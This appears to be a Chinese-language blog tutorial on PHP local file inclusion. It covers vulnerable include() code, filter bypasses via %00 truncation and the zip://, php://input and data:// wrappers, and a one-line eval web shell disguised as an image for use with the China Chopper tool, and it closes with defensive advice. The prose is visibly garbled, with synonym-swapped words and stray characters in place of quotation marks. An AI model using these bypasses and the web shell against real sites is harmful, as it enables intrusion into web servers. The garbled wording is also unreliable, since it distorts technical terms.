在通过做事器脚本的函数引入文件时,由于传入的文件名没有经由合理的校验,从而操作了预想之外的文件,导存问外的文件透露、恶意代码的注入等。
文件包含分为两种,一种为本地文件包含,一种为远程文件包含,此篇记录本地文件包含。本地文件包含(Local File Include),简称 LFI。
0x01:涉及函数
文件包含在 php 中,涉及到的危险函数有四个,分别是 include()、include_once()、require()、require_once()。
差异如下:
include:包含并运行指定的文件,包含文件发生缺点时,程序警告,但会连续实行。
include_once:和 include 类似,不同处在于 include_once 会检讨这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解便是只导入一次。
require:包含并运行指定的文件,包含文件发生缺点时,程序直接终止实行。
require_once:和 require 类似,不同处在于 require_once 只导入一次。
0x02:产生场景
开拓过程中,多个文件都会用到的代码,常日会放到一个单独的文件中,用到时再包含进来。当把包含的文件写去世在程序中时,该漏洞是不存在的,但很多情形都会动态的去包含所需的文件,这时候则会产生文件包含漏洞。
0x03:大略示例
以下代码是最大略的一个文件包含示例,程序没有对要包含的文件进行验证,导致可控。
<?php $file = $_GET['file']; if(isset($file)){ include(\"大众$file\"大众); }else{ echo \公众file fail\"大众; }
由于文件路径可控,当输入系统的密码文件所在路径时,内容会输出出来,如下图:
这样的代码过于危险,以是很少有人这么写,但有些防护方法是很差的,例如通过更换../, 代码如下:
$file=str_replace('../','',$_GET['file']);if(isset($file)){ include(\公众$file\"大众);}else{ echo \公众file fail\"大众;}
通过检测../ 然后更换为空,上一种情形是通过../ 定位到根目录的,当../ 被过滤后,可以直接通过 / 定位,如下图:
有时的程序也会通过添加后缀来做防护方法,例如如下代码:
$file=str_replace('../','',$_GET['file']);if(isset($file)){ include(\公众$file\公众 . \"大众php\公众);}else{ echo \"大众file fail\"大众;}
这个可以通过 %00 截断来绕过,但要把稳,是老版本了,php5.2.x 的测试可以,php5.3.x 的测试弗成,而且 php.ini 中的 magic_quotes_gpc 配置项为 off 时,才可以。magic_quotes_gpc 是用来转义分外字符的,开启后 %00 会被转义,这个可以做下理解,毕竟老版本用的比较少了。测试结果如下图(win):
新建一个 txt 文件,内容为 <? phpinfo(); ?>
php5.2.17 测试结果:
当把 magic_quotes_gpc 设置为 on 时,%00 会被转义,结果如下:
当把 php 版本切换为 php5.3.29 时,测试不通过,结果如下:
顺便提一下,为什么 %00 能截断,PHP 内核是 C 实现的,利用了 C 中的字符处理函数,在连接字符串时,0 字节也便是 x00 会作为结束符,以是只要加入一个 0 字节,就可以截断字符串,0 经由 URL 编码后为 %00。
对付 %00 截断可以通过以上几个图的提示来判断出 php 的版本或是否开启了 magic_quotes_gpc 配置项,能迅速查出缘故原由即可。
当 %00 不能截断时,在 win 系统中,可以利用 php 的 zip:// 协议,例如:写一个 hello.php,内容为 <?php phpinfo();?>,然后压缩成文件 test.zip 并上传,随后在系统中输入 localhost/test.php?file=zip://test.zip%23hello 即可,由于程序有后缀方法,这样参数 file 实际就变成了 zip://test.zip#23hello.php,意思为读取 test.zip 中的 hello.php 文件内容,如下图:
0x04:利用示例
1,如果存在本地文件包含漏洞时,不论包含 txt 还是 jpg,程序都会以 php 来解析运行,也就意味着可以上传一句话木马,直接用菜刀连接。
例如新建一个 1.txt 内容为:
<?php @eval($_POST['caidao']);?>
随后将后缀改为 jpg,利用文件包含漏洞包含此文件,结果如下:
2,可以利用 php://input 输入流实行任意命令,条件是 php.ini 的 allow_url_include 项设置为 on,不受版本掌握,例如以下操作图:
利用火狐插件 hackbar 即可。
3,利用 php 的数据协议 data:// 可以查看文件源代码,条件是 php.ini 中的 allow_url_fopen 和 allow_url_include 两个配置为 on, 例如以下操作图:
当碰到 WAF 时,可以把 <> 这些分外符号进行编码再试。
0x05: 如何防御
1,只管即便不该用动态包含文件,如果可以静态的去包含最好。
2,在利用动态包含时,添加后缀方法的情形下,请担保 php 版本高于 5.3 或是最新版,防止截断攻击。
3,对付动态包含的文件可以设置一个白名单,如果不属于白名单内的文件名,则不包含。
4,可以利用 open_basedir 限定目录项来指定包含的目录范围,防止目录遍历,php.ini 中设置 open_basedir=\"大众指定目录\"大众。
5,对付中间件 apache 或 nginx 等,可以利用中间件自身的指定目录范围配置,效果更好。